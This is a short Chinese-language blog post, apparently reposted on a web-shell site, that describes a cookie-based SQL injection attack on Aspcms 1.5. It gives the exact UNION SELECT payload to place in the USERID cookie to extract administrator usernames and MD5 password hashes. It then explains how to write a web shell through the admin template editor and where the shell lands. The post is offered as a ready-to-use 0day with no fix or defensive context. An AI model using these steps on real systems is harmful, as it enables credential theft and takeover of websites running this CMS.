Aspcms 1.5 COOKIES 注入漏洞

分类:安全 | 2011-12-6 | 撸过 87 次
0人扯谈

Aspcms 1.5 COOKIES注入0day,注册一个帐号。然后登陆后修改COOKIES的USERID值

在后面加上注入语句:

UNION SELECT 1,2,3,4,5,6,username,adminpassword,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from Aspcms_admins

然后编辑帐号就能看到管理员的帐号和MD5密码值。

后台拿SHELL:

访问admin/_Style/AspCms_TemplateEdit.asp?filename=webshell.asp在里面加一句话或者大马。

保存后SHELL在风格目录下面。Templates/default/html/webshell.asp

摘自 半坑土农民’S Blog

本站内容均为原创,转载请务必保留署名与链接!
Aspcms 1.5 COOKIES 注入漏洞:https://www.webshell.cc/2215.html
标签:

相关日志